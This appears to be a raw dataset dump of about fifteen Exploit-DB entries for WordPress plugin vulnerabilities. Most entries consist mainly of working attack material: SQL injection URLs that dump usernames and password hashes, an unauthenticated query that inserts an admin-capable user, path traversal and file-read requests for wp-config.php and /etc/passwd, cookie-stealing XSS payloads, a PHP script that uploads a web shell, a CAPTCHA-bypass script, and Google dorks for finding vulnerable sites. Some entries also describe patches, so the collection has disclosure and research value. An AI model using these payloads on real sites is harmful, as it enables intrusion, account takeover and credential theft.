deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17797
Description: WordPress Plugin Paid Downloads 2.01 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-08
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Paid Downloads plugin <= 2.01 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/paid-downloads.2.01.zip
# Version: 2.01 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$download_key = $_GET["download_key"];
$sql = "SELECT * FROM ".$wpdb->prefix."pd_downloadlinks WHERE download_key = '".$download_key."'";
$link_details = $wpdb->get_row($sql, ARRAY_A);
Exploit-DB #35303
Description: WordPress Plugin Paid Memberships Pro 1.7.14.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2014-11-19
Author: Kacper Szurek

Exploit:
# Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal
# Date: 14-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip
# Category: webapps
# CVE: CVE-2014-8801
 
1. Description
 
getfile.php is accessible to everyone.
is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true.
$_SERVER['REQUEST_URI'] is not escaped.
 
http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html
 
2. Proof of Concept
 
http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php
 
3. Solution:
 
Update to version 1.7.15
http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip
http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/
Exploit-DB #33613
Description: WordPress Plugin Participants Database 1.5.4.8 - SQL Injection
Type: webapps
Platform: php
Date: 2014-06-02
Author: Yarubo Research Team

Exploit:
Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress
=========================================================================

Program: Participants Database <= 1.5.4.8
Severity: Unauthenticated attacker can fully compromise the Wordpress
installation
Permalink: http://www.yarubo.com/advisories/1

— Info —

Participants Database is a popular Wordpress plugin that offers the
functionality needed to build and maintain a database of people. As of
today the plugin has been downloaded 92,089 times.

— Vulnerability details —

1. Due to insufficient privilege checks it is possible for anonymous
(unauthenticated) users to trigger some administrative actions If any of
the shortcodes is used (e.g. signup page).

2. The action "export CSV" takes a parameter called "query" that can
contain an arbitrary SQL query. This means that an unauthenticated user can
execute arbitrary SQL statements (e.g. create an admin user, read or write
files, or execute code depending on the MySQL user privileges).


— Exploit —

Add a user to wordpress as follows (if you want an admin user, also add
admin privileges to wp_usermeta):


POST /wordpress/pdb-signup/ HTTP/1.1
Host: www.example.com
Content-Length: 789
(…)
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryuoACADe1C2IFWMxN

------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="action"

output CSV
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="CSV_type"

participant list
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="subsource"

participants-database
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="query"

INSERT INTO wp_users
(ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name)
VALUES
(31337,0x74657374,0x245024425a7a[PII_REDACTED]6f41364b[PII_REDACTED]76772f[PII_REDACTED]412f475a4b31,0x[PII_REDACTED]6f,0x[PII_REDACTED]746573742e636f6d,0x323031342d31312d[PII_REDACTED]3a30303a3030,0,0x[PII_REDACTED]6f);

------WebKitFormBoundaryuoACADe1C2IFWMxN



— Solution —

This issue has been fixed in version 1.5.4.9. Download the newest version
from:

https://wordpress.org/plugins/participants-database/


— Credit —


Yarubo Research Team
research [at] yarubo.com

Network Security Scan:
http://www.yarubo.com/

Free Heartbleed Scan:
http://www.yarubo.com/heartbleed
Exploit-DB #42618
Description: WordPress Plugin Participants Database < 1.7.5.10 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-09-01
Author: Benjamin Lim

Exploit:
# Exploit Title: Wordpress Plugin Participants Database < 1.7.5.10 - XSS
# Google Dork: inurl:wp-content/plugins/participants-database/
# Date: 01-Sep-17
# Exploit Author: Benjamin Lim
# Vendor Homepage: https://xnau.com/
# Software Link: https://wordpress.org/plugins/participants-database/
# Version: 1.7.5.9
# Tested on: Kali Linux 2.0
# CVE : CVE-2017-14126


1. Product & Service Introduction:
==================================
Participants Database is a Wordpress plugin for managing a database of
participants, members or volunteers. As of now, the plugin has been
downloaded 320,000 times and has 10,000+ active installs.


2. Technical Details & Description:
===================================
Cross site scripting (XSS) vulnerability in the Wordpress Participants
Database plugin 1.7.59 allows attackers to inject arbitrary javascript via
the Name parameter.
The XSS vulnerability is found on the participant signup form input
textfield. The get_field_value_display() function in
PDb_FormElement.class.php did not escape HTML special characters, allowing
an attacker to input javascript. The XSS code will be executed on 2 pages.

1) The "Thank you for signing up" page immediately after submitting the
form.
2) The page which is configured to output the list of participants with the
[pdb_list] shortcode.


3. Proof of Concept (PoC):
==========================

curl -k -F action=signup -F subsource=participants-database -F
shortcode_page=/?page_id=1 -F thanks_page=/?page_id=1 -F instance_index=2
-F pdb_data_keys=1.2.9.10 -F session_hash=[PII_REDACTED] -F
first_name=<script>alert("1");</script> -F last_name=a -F email=a@a.com -F
mailing_list=No -F submit_button=Submit http://localhost/?page_id=1

To trigger manually, browse to the page, input the following in the form
and click Sign Up.

First Name: <script>alert("1");</script>
Last Name: test
Email: test@test.com


4. Mitigation
=============
Update to version 1.7.5.10


5. Disclosure Timeline
======================
2017/09/01 Vendor contacted
2017/09/02 Vendor responded
2017/09/03 Update released
2017/09/06 Advisory released to the public


6. Credits & Authors:
=====================
Benjamin Lim - [https://limbenjamin.com]

--
*Benjamin Lim*
E: mail@limbenjamin.com
PGP : https://limbenjamin.com/pgp
Exploit-DB #18330
Description: WordPress Plugin Pay with Tweet 1.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-06
Author: Gianluca Brindisi

Exploit:
# Exploit Title: Wordpress Pay With Tweet plugin <= 1.1 Multiple Vulnerabilities
# Date: 01/06/2012
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/pay-with-tweet.1.1.zip
# Version: 1.1

1)  Blind SQL Injection in shortcode:
    Short code parameter 'id' is prone to blind sqli, 
    you need to be able to write a post/page to exploit this:

    [paywithtweet id="1' AND 1=2"]
    [paywithtweet id="1' AND 1=1"]

2)  Multiple XSS in pay.php
    http://target.com/wp-content/plugins/pay-with-tweet.php/pay.php    
    
    After connecting to twitter:
        ?link=&22></input>[XSS]
    After submitting the tweet:
        ?title=[XSS]&dl=[REDIRECT-TO-URL]%27)">[XSS]

    The final download link will be replaced with [REDIRECT-TO-URL]

    POC: pay.php?link=%22></input><script>alert(document.cookie)</script>&title=<script>alert(document.cookie)</script>&dl=http://brindi.si%27"><script>alert(document.cookie)</script>
Exploit-DB #50246
Description: WordPress Plugin Payments Plugin | GetPaid 2.4.6 - HTML Injection
Type: webapps
Platform: php
Date: 2021-09-01
Author: Niraj Mahajan

Exploit:
# Exploit Title: WordPress Plugin Payments Plugin | GetPaid 2.4.6 - HTML Injection
# Date: 29/08/2021
# Exploit Author: Niraj Mahajan
# Software Link: https://wordpress.org/plugins/invoicing/
# Version: 2.4.6
# Tested on Windows

*Steps to Reproduce:*
1. Install Wordpress 5.8
2. Install and Activate "WordPress Payments Plugin | GetPaid" Version 2.4.6
3. Navigate to GetPaid > Payment Forms
4. Click on "Add New" in the Payment Form page
5. Add a title and Click on Billing Email
6. You can see the "Help Text" field on the left hand side.
7. Add the below HTML code into the "Help Text" Field.
<img src="
https://www.pandasecurity.com/en/mediacenter/src/uploads/2019/07/pandasecurity-How-do-hackers-pick-their-targets.jpg"
height="200px" width="200px">
8. You will observe that the HTML code has successfully got stored into the database and executed successfully and we are getting an Image at the right hand side.
Exploit-DB #37253
Description: WordPress Plugin Paypal Currency Converter Basic For WooCommerce - File Read
Type: webapps
Platform: php
Date: 2015-06-10
Author: Kuroi'SH

Exploit:
# Exploit Title: Paypal Currency Converter Basic For Woocommerce File Read
# Google Dork: inurl:"paypal-currency-converter-basic-for-woocommerce"
# Date: 10/06/2015
# Exploit Author: Kuroi'SH
# Software Link:
https://wordpress.org/plugins/paypal-currency-converter-basic-for-woocommerce/
# Version: <=1.3
# Tested on: Linux
 Description:
 proxy.php's code:
 <?php
$file = file_get_contents($_GET['requrl']);
$left=strpos($file,'<div id=currency_converter_result>');
$right=strlen($file)-strpos($file,'<input type=hidden name=meta');
$snip= substr($file,$left,$right);
echo $snip;
?>
Based on user input, the content of a file is printed out (unfortunately
not included) so any html file can be loaded, and an attacker may be able
to read  any local file which
is not executed in the server.
Example:
http://localhost/wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php?requrl=/etc/passwd
POC:
curl --silent --url
http://localhost/wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php?requrl=/etc/passwd
Exploit-DB #37176
Description: WordPress Plugin PDF & Print Button Joliprint 1.3.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53519/info

PDF & Print Button Joliprint plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PDF & Print Button Joliprint 1.3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/options-general.php?page=joliprint/joliprint_admin_options.php&amp;opt=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

http://www.example.com/wp-content/plugins/joliprint/joliprint_options_upload.php?type=%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E
Exploit-DB #31029
Description: WordPress Plugin Peter's Math Anti-Spam 0.1.6 - Audio CAPTCHA Security Bypass
Type: webapps
Platform: php
Date: 2008-01-15
Author: Romero

Exploit:
source: https://www.securityfocus.com/bid/27287/info

Peter's Math Anti-Spam for WordPress is prone to a security-bypass vulnerability.

This issue occurs when presenting a visitor with challenge data to determine if they are a legitimate user or an automaton. The challenge data is poorly obfuscated and can be interpreted by script code.

Attackers can leverage this issue to bypass the security measures provided by the plugin via an automated script. This could aid in spam distribution and other attacks.

Peter's Math Anti-Spam for WordPress 0.1.6 is vulnerable; other versions may also be affected. 

$ cat math_spam.pl
#!/usr/bin/perl -w

require bytes;

        my $buffer;
        my $number;
        my $op1;
        my $op2;

        my %numberPrints = ("0045", 0,
                            "00c5", 1,
                            "0485", 2,
                            "4309", 3,
                            "0205", 4,
                            "0847", 5,
                            "0601", 6,
                            "0644", 7,
                            "0405", 8,
                            "0031", 9);

        my %numberSizes = ( 0, 4045,
                            1, 3983,
                            2, 4431,
                            3, 4250,
                            4, 4595,
                            5, 5389,
                            6, 4949,
                            7, 4436,
                            8, 4584,
                            9, 5009);

        my $PLUS_SIZE = 7365;
 
        open (INFILE, "<$ARGV[0]");
        binmode(INFILE);
        sysseek(INFILE, 14, 0); #That "0" third argument makes seeking 
absoulte
        sysread(INFILE, $buffer, 2);
        #$number = sprintf("%x%x", map {ord($_)} 
split(//,substr($buffer,0,2)));
        $number = sprintf("%.2x%.2x", map {ord($_)} split(//,$buffer));
        $op1 = $numberPrints{$number};
        sysseek(INFILE, $numberSizes{$op1} + $PLUS_SIZE - 2, 1); #That 
third "1" argument makes seeking relative
        sysread(INFILE, $buffer, 2);
        $number = sprintf("%.2x%.2x", map {ord($_)} split(//,$buffer));
        $op2 = $numberPrints{$number};
        print $op1 . " + " . $op2 . " = " . ($op1+$op2) . "\n";
        close(INFILE);
Exploit-DB #44737
Description: WordPress Plugin Peugeot Music - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-05-23
Author: Mr.7z

Exploit:
# Exploit Title: Wordpress Plugin Peugeot Music - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/peugeot-music-plugin/
# Date: 2018-05-23
# Exploit Author: Mr.7z
# Vendor Homepage: -
# Software Link: -
# Version: 1.0
# Tested on: Windows 10 64bit (Home Edition)

# Exploit: /wp-content/plugins/peugeot-music-plugin/js/plupload/examples/upload.php
# Vuln? {"jsonrpc" : "2.0", "result" : null, "id" : "id"}

# CSRF
<?php

$url = "http://target.com/wp-content/plugins/peugeot-music-plugin/js/plupload/examples/upload.php";
// put URL Here
$post = array
(
"file" => "@yourshell.jpg",
"name" => "yourshell.php"
);
$ch = curl_init ("$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1;
rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
@curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
$data = curl_exec ($ch);
curl_close ($ch);
echo $data;

?>

# For CSRF using php xampp.
# Shell Locate:
target.com/wp-content/plugins/peugeot-music-plugin/js/plupload/examples/uploads/yourshell.php

# Thanks To XaiSyndicate - Family Attack Cyber - HunterSec-Team -
# Typical Idiot Security [!]
Exploit-DB #5135
Description: WordPress Plugin Photo album - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-16
Author: S@BUN

Exploit:
###############################################################
#
# WordPress album PHOTO SQL Injection
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: page_id album "photo"
#
################################################################
EXAMPLE
http://xxxxxxxx/?page_id=13&album= [exploit]
EXPLOÄ°T

S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201

################################################################
# S@BUN           i AM NOT HACKER            S@BUN
################################################################

# milw0rm.com [2008-02-16]
Exploit-DB #17983
Description: WordPress Plugin Photo Album Plus 4.1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-15
Author: Skraps

Exploit:
# Exploit Title: WP Photo Album Plus <= 4.1.1 SQL Injection Vulnerability
# Date: 2011-10-14
# Author: Skraps (jackie.craig.sparks(at)live.com jackie.craig.sparks(at)gmail.com @skraps_foo)
# Plugin Page: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://downloads.wordpress.org/plugin/wp-photo-album-plus.zip
# Version: 4.1.1 (tested)

---------------
PoC (GET data)
---------------
http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1
wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1 

e.g.

wget "http://127.0.0.1/wordpress/?page_id=7&wppa-album=1 AND 1=IF(2>1,BENCHMARK(500000000,MD5(CHAR(115,113,108,109,97,112))),0)&wppa-cover=0&wppa-occur=1"

---------------
Vulnerable code
---------------
Line 76 of wppa-functions.php:
if ( $this_occur ) $alb = wppa_get_get('album');
        if ( ! $alb && is_numeric($wppa['start_album']) ) $alb = $wppa['start_album'];

        $separate = wppa_is_separate($alb);

$slide = ( wppa_get_album_title_linktype($alb) == 'slide' ) ? '&amp;wppa-slide' : '';


Line 3170 of wppa-functions.php:
function wppa_get_get($index, $default = false) {
#xdebug_start_trace('/var/www/xdebug.log');
        if (isset($_GET['wppa-'.$index])) {             // New syntax first
                return $_GET['wppa-'.$index];
        }
        if (isset($_GET[$index])) {                             // Old syntax
                return $_GET[$index];
        }
        return $default;
}

Line 3362 of wppa-functions.php:
function wppa_get_album_title_linktype($alb) {
global $wpdb;
        if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
        else $result = '';
echo $result;
        return $result;
}

---------------
Patch
---------------
*** ./wppa-functions.php	2011-10-03 09:37:48.000000000 -0400
--- ./wppa-functions.php.new	2011-10-15 16:02:27.996945496 -0400
***************
*** 3361,3367 ****
  
  function wppa_get_album_title_linktype($alb) {
  global $wpdb;
! 
  	if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
  	else $result = '';
  //echo $result;
--- 3361,3367 ----
  
  function wppa_get_album_title_linktype($alb) {
  global $wpdb;
! 	$alb=intval($alb);
  	if ( $alb ) $result = $wpdb->get_var("SELECT cover_linktype FROM ".WPPA_ALBUMS." WHERE id = ".$alb." LIMIT 1");
  	else $result = '';
  //echo $result;
***************
*** 3384,3387 ****
  global $wppa;
  
  	if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
\ No newline at end of file
--- 3384,3387 ----
  global $wppa;
  
  	if ( $wppa['any'] ) echo $wppa['searchresults'];
! }
Exploit-DB #35916
Description: WordPress Plugin Photo Gallery 1.2.5 - Unrestricted Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-11-11
Author: Kacper Szurek

Exploit:
# Exploit Title: Photo Gallery 1.2.5 Unrestricted File Upload
# Date: 11-11-2014
# Software Link: https://wordpress.org/plugins/photo-gallery/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9312
# Category: webapps

1. Description
  
Every registered user (even Subscriber) can access upload functionality because of read role used inside UploadHandler.php

http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html
  
2. Proof of Concept

Login as regular user (created using wp-login.php?action=register).

Pack .php files into .zip archive then send it using:

<form method="post" action="http://wordpress-install/wp-admin/admin-ajax.php?action=bwg_UploadHandler&dir=rce/" enctype="multipart/form-data">
    <input type="file" name="files">
    <input type="submit" value="Hack!">
</form>

Your files will be visible inside:

http://wordpress-install/wp-admin/rce/
  
3. Solution:
  
Update to version 1.2.6
https://downloads.wordpress.org/plugin/photo-gallery.1.2.6.zip
Exploit-DB #47372
Description: WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-10
Author: MTK

Exploit:
# Exploit Title: WordPress Plugin Photo Gallery by 10Web <= 1.5.34 - Persistent Cross Site Scripting
# inurl:"\wp-content\plugins\photo-gallery"
# Date: 09-10-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://10web.io/
# Software Link: https://downloads.wordpress.org/plugin/photo-gallery.1.5.34.zip
# Version: Up to v1.5.34
# Tested on: Apache2/WordPress 5.2.2 - Firefox/Windows
# CVE : 2019-16117

# Software description:
Photo Gallery is the leading plugin for building beautiful mobile-friendly galleries in a few minutes.


# Technical Details & Impact:
XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.


# POC

1.    In Add Gallery/Images tab 
2.    Edit current image gallery
3.    In Alt/Title or Description text area add XSS payload e.g;
<script>alert(1);</script>

4.    Click Save and preview.
5.    It will show pop-up confirming existence of XSS vulnerability 

# Timeline
09-01-2019 - Vulnerability Reported
09-03-2019 - Vendor responded
09-04-2019 - New version released (1.5.35)
09-10-2019 - Full Disclosure

# References:
https://wordpress.org/plugins/photo-gallery/#developers
https://plugins.trac.wordpress.org/changeset/2150912/photo-gallery/trunk/admin/models/Galleries.php?old=2135029&old_path=photo-gallery%2Ftrunk%2Fadmin%2Fmodels%2FGalleries.php
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16117